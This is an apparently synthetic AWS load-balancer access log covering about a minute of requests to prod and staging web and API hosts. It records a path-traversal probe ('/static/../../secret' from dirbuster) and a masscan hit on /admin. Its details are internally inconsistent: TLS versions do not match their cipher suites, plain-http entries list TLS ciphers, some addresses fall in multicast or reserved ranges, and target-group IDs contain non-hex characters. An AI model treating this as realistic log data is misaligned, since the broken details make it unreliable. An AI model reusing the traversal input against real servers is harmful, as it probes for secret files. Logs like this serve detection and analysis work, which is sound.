"Root=1-6723c1d0-452c0f0b01cb4f3fb37a01b5" "prod-web-alb.example.com" "-" 6 2024-11-01T00:43:44.425590Z "forward" "-" "-" "10.0.178.224:443" "301" "-" "-" +https 2024-11-01T00:43:45.726482Z prod-api-alb 95.137.124.167:62960 10.0.203.196:443 0.055966 0.193996 0.003415 200 200 908 3869 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1d1-4c0599881bf1468a8a2bd334" "prod-api-alb.example.com" "-" 0 2024-11-01T00:43:45.726482Z "forward" "-" "-" "10.0.203.196:443" "200" "-" "-" +http 2024-11-01T00:43:47.136419Z staging-alb 28.98.25.52:33159 50.25.214.157:80 0.087489 0.067457 0.088057 301 301 517 9075 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1d3-e72eed03cb4449b991a97579" "staging-alb.example.com" "-" 8 2024-11-01T00:43:47.136419Z "forward" "-" "-" "50.25.214.157:80" "301" "-" "-" +https 2024-11-01T00:43:48.485930Z prod-web-alb 193.27.228.120:47057 10.0.206.235:443 0.070886 0.011593 0.085174 404 404 599 4621 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1d4-437c3198509a469ab5a928da" "-" "-" 10 2024-11-01T00:43:48.485930Z "forward" "-" "-" "10.0.206.235:443" "404" "-" "-" +https 2024-11-01T00:43:49.174935Z prod-api-alb 236.29.12.237:19442 10.0.11.242:443 0.046454 0.326789 0.076023 301 301 340 7495 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1d5-266c1597b91c494099d67b70" "prod-api-alb.example.com" "-" 9 2024-11-01T00:43:49.174935Z "forward" "-" "-" "10.0.11.242:443" "301" "-" "-" +https 2024-11-01T00:43:50.324533Z prod-web-alb 211.227.133.51:25258 10.0.87.171:443 0.015316 0.458759 0.046158 301 301 448 11886 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1d6-0d82dec34e2d4496a37c4670" "prod-web-alb.example.com" "-" 9 2024-11-01T00:43:50.324533Z "forward" "-" "-" "10.0.87.171:443" "301" "-" "-" +https 2024-11-01T00:43:51.255964Z prod-web-alb 225.89.98.165:35272 10.0.125.20:443 0.036436 0.101133 0.021514 404 404 581 6446 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1d7-7eb529091004442b8f6f0c19" "prod-web-alb.example.com" "-" 10 2024-11-01T00:43:51.255964Z "forward" "-" "-" "10.0.125.20:443" "404" "-" "-" +http 2024-11-01T00:43:52.515547Z staging-alb 101.25.214.136:53113 154.62.220.38:8080 0.067843 0.727054 0.098421 200 200 765 2748 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1d8-d2dbca2cabe0458e921bbc1a" "staging-alb.example.com" "-" 7 2024-11-01T00:43:52.515547Z "forward" "-" "-" "154.62.220.38:8080" "200" "-" "-" +https 2024-11-01T00:43:54.434419Z staging-alb 199.76.46.63:18872 41.121.134.137:443 0.121516 0.047691 0.099912 302 302 830 7240 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1da-b755f6c0bf7e4fdb805a0431" "staging-alb.example.com" "-" 3 2024-11-01T00:43:54.434419Z "forward" "-" "-" "41.121.134.137:443" "302" "-" "-" +https 2024-11-01T00:43:55.613086Z staging-alb 150.56.125.41:55664 103.169.250.165:443 0.104162 0.273639 0.096125 404 404 156 9681 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1db-4b5eaca86de24e01b7ebde1e" "staging-alb.example.com" "-" 0 2024-11-01T00:43:55.613086Z "forward" "-" "-" "103.169.250.165:443" "404" "-" "-" +https 2024-11-01T00:43:55.951289Z prod-web-alb 15.210.180.91:41018 10.0.157.88:443 0.042593 0.452387 0.045413 200 200 655 364 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1db-d149e9c08b454f229ecbcc74" "prod-web-alb.example.com" "-" 3 2024-11-01T00:43:55.951289Z "forward" "-" "-" "10.0.157.88:443" "200" "-" "-" +https 2024-11-01T00:43:57.745960Z prod-api-alb 253.131.200.111:51990 10.0.176.102:443 0.029380 0.298238 0.007655 200 200 1 3889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1dd-7b650b9221e740c38a76a899" "prod-api-alb.example.com" "-" 4 2024-11-01T00:43:57.745960Z "forward" "-" "-" "10.0.176.102:443" "200" "-" "-" +https 2024-11-01T00:43:57.904887Z prod-api-alb 40.138.232.175:30573 10.0.236.193:443 0.082649 0.364689 0.025190 302 302 62 3890 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1dd-aa91d8f3cd564f12aaad5a32" "prod-api-alb.example.com" "-" 7 2024-11-01T00:43:57.904887Z "forward" "-" "-" "10.0.236.193:443" "302" "-" "-" +https 2024-11-01T00:43:58.699442Z prod-api-alb 245.32.252.89:11074 10.0.48.82:443 0.057148 0.180229 0.085198 302 302 796 12858 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1de-e382969c146a48b28bd6fee3" "prod-api-alb.example.com" "-" 3 2024-11-01T00:43:58.699442Z "forward" "-" "-" "10.0.48.82:443" "302" "-" "-" +https 2024-11-01T00:43:59.367433Z prod-api-alb 131.192.23.187:32552 10.0.17.170:443 0.083858 0.487301 0.046956 200 200 836 12174 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1df-20f544c1eb4c4548a9efcdb9" "prod-api-alb.example.com" "-" 2 2024-11-01T00:43:59.367433Z "forward" "-" "-" "10.0.17.170:443" "200" "-" "-" +https 2024-11-01T00:44:00.079827Z staging-alb 79.178.127.181:50589 227.110.114.130:443 0.106816 0.197605 0.012539 200 200 77 13368 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1e0-9ce70aeef9d94f4aa686d731" "staging-alb.example.com" "-" 7 2024-11-01T00:44:00.079827Z "forward" "-" "-" "227.110.114.130:443" "200" "-" "-" +https 2024-11-01T00:44:01.627063Z prod-web-alb 130.235.215.187:53065 10.0.216.181:443 0.016414 0.373822 0.060457 200 200 99 6368 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1e1-5ed4e265c831431da2f38774" "prod-web-alb.example.com" "-" 2 2024-11-01T00:44:01.627063Z "forward" "-" "-" "10.0.216.181:443" "200" "-" "-" +https 2024-11-01T00:44:02.911529Z staging-alb 249.80.11.130:47944 188.127.75.100:443 0.057295 0.069800 0.021768 302 302 475 3962 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1e2-a0db2761691c4dc79426ab25" "staging-alb.example.com" "-" 6 2024-11-01T00:44:02.911529Z "forward" "-" "-" "188.127.75.100:443" "302" "-" "-" +https 2024-11-01T00:44:03.091696Z prod-web-alb 192.42.124.36:44582 10.0.23.38:443 0.098410 0.019020 0.092769 200 200 95 6176 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1e3-b8b193ed1e9d4a0881891755" "prod-web-alb.example.com" "-" 6 2024-11-01T00:44:03.091696Z "forward" "-" "-" "10.0.23.38:443" "200" "-" "-" +https 2024-11-01T00:44:04.506340Z staging-alb 83.201.135.161:51598 96.245.96.248:443 0.132787 0.237524 0.039913 200 200 475 2787 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1e4-9aa887ddd6e240da89793281" "staging-alb.example.com" "-" 4 2024-11-01T00:44:04.506340Z "forward" "-" "-" "96.245.96.248:443" "200" "-" "-" +https 2024-11-01T00:44:06.432253Z prod-web-alb 180.38.50.187:31652 10.0.141.148:443 0.017263 0.306332 0.041209 302 302 686 1942 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1e6-6b5ccbf2aad247eaa923e274" "prod-web-alb.example.com" "-" 9 2024-11-01T00:44:06.432253Z "forward" "-" "-" "10.0.141.148:443" "302" "-" "-" +http 2024-11-01T00:44:07.325719Z staging-alb 22.112.123.134:63051 186.41.33.63:443 0.031486 0.294300 0.112110 302 302 71 2517 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1e7-adf32f3071e14de9a04558ba" "staging-alb.example.com" "-" 10 2024-11-01T00:44:07.325719Z "forward" "-" "-" "186.41.33.63:443" "302" "-" "-" +http 2024-11-01T00:44:08.066516Z staging-alb 82.34.253.214:60190 33.157.16.232:8080 0.052043 0.119708 0.138380 301 301 745 6697 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1e8-b09fe062d4704c7b9544eaba" "staging-alb.example.com" "-" 0 2024-11-01T00:44:08.066516Z "forward" "-" "-" "33.157.16.232:8080" "301" "-" "-" +https 2024-11-01T00:44:09.280128Z prod-web-alb 78.91.38.227:61324 10.0.20.86:443 0.083507 0.328666 0.091572 301 301 84 10812 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1e9-a9aa4d88aaae4f1cba4d341e" "prod-web-alb.example.com" "-" 5 2024-11-01T00:44:09.280128Z "forward" "-" "-" "10.0.20.86:443" "301" "-" "-" +https 2024-11-01T00:44:09.478959Z staging-alb 61.67.220.217:36584 221.72.130.21:8080 0.015250 0.604379 0.010251 200 200 312 3371 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1e9-7135f71a5d664caf915293f8" "staging-alb.example.com" "-" 8 2024-11-01T00:44:09.478959Z "forward" "-" "-" "221.72.130.21:8080" "200" "-" "-" +http 2024-11-01T00:44:10.392578Z staging-alb 45.155.205.55:55035 239.57.76.188:8080 0.070985 0.422780 0.003496 401 401 614 6626 "GET /admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1ea-b3e920f85a3a4dd3a5441005" "-" "-" 10 2024-11-01T00:44:10.392578Z "forward" "-" "-" "239.57.76.188:8080" "401" "-" "-" +http 2024-11-01T00:44:11.325273Z staging-alb 154.106.29.81:21615 49.219.118.246:443 0.132910 0.747537 0.006972 200 200 699 8467 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1eb-5d42f38799f24c4f8df80632" "staging-alb.example.com" "-" 4 2024-11-01T00:44:11.325273Z "forward" "-" "-" "49.219.118.246:443" "200" "-" "-" +https 2024-11-01T00:44:11.966568Z prod-web-alb 7.189.39.170:19805 10.0.233.46:443 0.028285 0.353454 0.063468 200 200 350 14531 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1eb-e074d69182854f3e8f3f9467" "prod-web-alb.example.com" "-" 1 2024-11-01T00:44:11.966568Z "forward" "-" "-" "10.0.233.46:443" "200" "-" "-" +http 2024-11-01T00:44:12.397011Z staging-alb 189.165.44.223:55955 88.65.98.251:443 0.071475 0.568025 0.006735 200 200 449 8588 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1ec-9f0ec3eb42c94136a28a5b97" "staging-alb.example.com" "-" 1 2024-11-01T00:44:12.397011Z "forward" "-" "-" "88.65.98.251:443" "200" "-" "-" +https 2024-11-01T00:44:13.294747Z prod-web-alb 46.130.93.2:14502 10.0.104.115:443 0.061855 0.236813 0.091816 200 200 408 9371 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ed-499158d392cc4315a2852ff6" "prod-web-alb.example.com" "-" 9 2024-11-01T00:44:13.294747Z "forward" "-" "-" "10.0.104.115:443" "200" "-" "-" +https 2024-11-01T00:44:14.971749Z staging-alb 85.31.68.113:39584 233.151.214.94:443 0.107273 0.509038 0.014763 200 200 998 4580 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1ee-88b3cda5c32e47c3981d8ece" "staging-alb.example.com" "-" 1 2024-11-01T00:44:14.971749Z "forward" "-" "-" "233.151.214.94:443" "200" "-" "-" +http 2024-11-01T00:44:16.070168Z staging-alb 120.137.44.10:24538 20.144.127.67:8080 0.066302 0.148116 0.057267 302 302 238 14636 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1f0-ed0c72d3a7fc41c4bddb6b53" "staging-alb.example.com" "-" 2 2024-11-01T00:44:16.070168Z "forward" "-" "-" "20.144.127.67:8080" "302" "-" "-" +https 2024-11-01T00:44:16.904493Z prod-api-alb 63.179.42.75:11959 10.0.252.179:443 0.057249 0.245323 0.087365 200 200 309 13921 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1f0-7a924fb9c807497f9f0f00a7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:44:16.904493Z "forward" "-" "-" "10.0.252.179:443" "200" "-" "-" +http 2024-11-01T00:44:18.735904Z staging-alb 153.201.45.190:51822 176.241.111.175:443 0.125193 0.515529 0.087409 404 404 302 7933 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1f2-f6ed2ca343bf432183782157" "-" "-" 10 2024-11-01T00:44:18.735904Z "forward" "-" "-" "176.241.111.175:443" "404" "-" "-" +https 2024-11-01T00:44:19.331554Z prod-api-alb 50.47.235.82:26542 10.0.235.53:443 0.021447 0.262587 0.096664 302 302 653 3118 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1f3-5fde8a6a3aa54eac9eb60ab9" "prod-api-alb.example.com" "-" 1 2024-11-01T00:44:19.331554Z "forward" "-" "-" "10.0.235.53:443" "302" "-" "-" +http 2024-11-01T00:44:20.739118Z staging-alb 53.1.64.206:60546 244.2.85.88:8080 0.145105 0.344157 0.039722 302 302 490 12385 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1f4-99f47ca6f0e1484dbb10265d" "staging-alb.example.com" "-" 9 2024-11-01T00:44:20.739118Z "forward" "-" "-" "244.2.85.88:8080" "302" "-" "-" +https 2024-11-01T00:44:21.685748Z prod-web-alb 2.143.97.173:20688 10.0.229.47:443 0.048936 0.030496 0.019407 200 200 88 7911 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1f5-74105b614f9a4021a268d231" "prod-web-alb.example.com" "-" 8 2024-11-01T00:44:21.685748Z "forward" "-" "-" "10.0.229.47:443" "200" "-" "-" +https 2024-11-01T00:44:23.121828Z prod-api-alb 21.119.174.80:11232 10.0.112.243:443 0.008258 0.196273 0.066897 301 301 454 14429 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1f7-e5dbd44bb318431781a52122" "prod-api-alb.example.com" "-" 10 2024-11-01T00:44:23.121828Z "forward" "-" "-" "10.0.112.243:443" "301" "-" "-" +http 2024-11-01T00:44:23.520971Z staging-alb 132.235.253.22:64282 78.163.174.12:443 0.142100 0.069063 0.077097 200 200 950 5814 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1f7-0628df16bcfa4742930e607f" "staging-alb.example.com" "-" 4 2024-11-01T00:44:23.520971Z "forward" "-" "-" "78.163.174.12:443" "200" "-" "-" +https 2024-11-01T00:44:24.788742Z staging-alb 41.25.211.30:41209 117.12.169.194:443 0.088877 0.712410 0.124999 200 200 644 9727 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1f8-0f0a905426ef4bfa958a3eff" "staging-alb.example.com" "-" 2 2024-11-01T00:44:24.788742Z "forward" "-" "-" "117.12.169.194:443" "200" "-" "-" +https 2024-11-01T00:44:25.606938Z prod-web-alb 164.139.240.142:64185 10.0.220.169:443 0.033714 0.212422 0.011360 200 200 260 9992 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1f9-122ded69ccff4d228da76f4b" "prod-web-alb.example.com" "-" 4 2024-11-01T00:44:25.606938Z "forward" "-" "-" "10.0.220.169:443" "200" "-" "-" +https 2024-11-01T00:44:27.386284Z prod-api-alb 16.98.57.124:49658 10.0.203.237:443 0.024301 0.398482 0.038654 302 302 40 2152 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1fb-c93c32972acb4ac6b3bff9fb" "prod-api-alb.example.com" "-" 6 2024-11-01T00:44:27.386284Z "forward" "-" "-" "10.0.203.237:443" "302" "-" "-" +https 2024-11-01T00:44:27.836633Z prod-web-alb 77.242.117.63:25231 10.0.140.244:443 0.082367 0.359627 0.081846 200 200 17 2701 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1fb-daa9bb7e46d745079dba9912" "prod-web-alb.example.com" "-" 5 2024-11-01T00:44:27.836633Z "forward" "-" "-" "10.0.140.244:443" "200" "-" "-" +https 2024-11-01T00:44:28.375249Z prod-api-alb 155.73.241.219:32970 10.0.116.108:443 0.059803 0.086285 0.032689 200 200 167 6746 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1fc-bea80b00b507454b982c8ac5" "prod-api-alb.example.com" "-" 5 2024-11-01T00:44:28.375249Z "forward" "-" "-" "10.0.116.108:443" "200" "-" "-" +https 2024-11-01T00:44:30.042631Z prod-api-alb 141.110.105.5:54403 10.0.42.27:443 0.036267 0.226139 0.010373 200 200 944 4442 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1fe-5f175a724dff4ee4a799911f" "prod-api-alb.example.com" "-" 4 2024-11-01T00:44:30.042631Z "forward" "-" "-" "10.0.42.27:443" "200" "-" "-" +https 2024-11-01T00:44:30.754293Z prod-web-alb 173.116.50.125:31914 10.0.206.77:443 0.002175 0.092425 0.097295 200 200 866 4016 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1fe-0ac9bcd8b49e43e1b0662761" "prod-web-alb.example.com" "-" 9 2024-11-01T00:44:30.754293Z "forward" "-" "-" "10.0.206.77:443" "200" "-" "-" +https 2024-11-01T00:44:31.929475Z prod-web-alb 153.152.96.78:44600 10.0.15.231:443 0.075441 0.187793 0.088286 301 301 964 8649 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ff-7ecac35620164fc09b6aae17" "prod-web-alb.example.com" "-" 6 2024-11-01T00:44:31.929475Z "forward" "-" "-" "10.0.15.231:443" "301" "-" "-" +https 2024-11-01T00:44:32.458961Z prod-api-alb 172.160.159.114:51326 10.0.231.113:443 0.087536 0.048505 0.029569 302 302 848 11755 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c200-d8eaf6f3c1584db3a9a38cae" "prod-api-alb.example.com" "-" 1 2024-11-01T00:44:32.458961Z "forward" "-" "-" "10.0.231.113:443" "302" "-" "-" +https 2024-11-01T00:44:34.323083Z prod-api-alb 138.96.208.7:14403 10.0.112.81:443 0.096387 0.211360 0.024400 301 301 12 3549 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 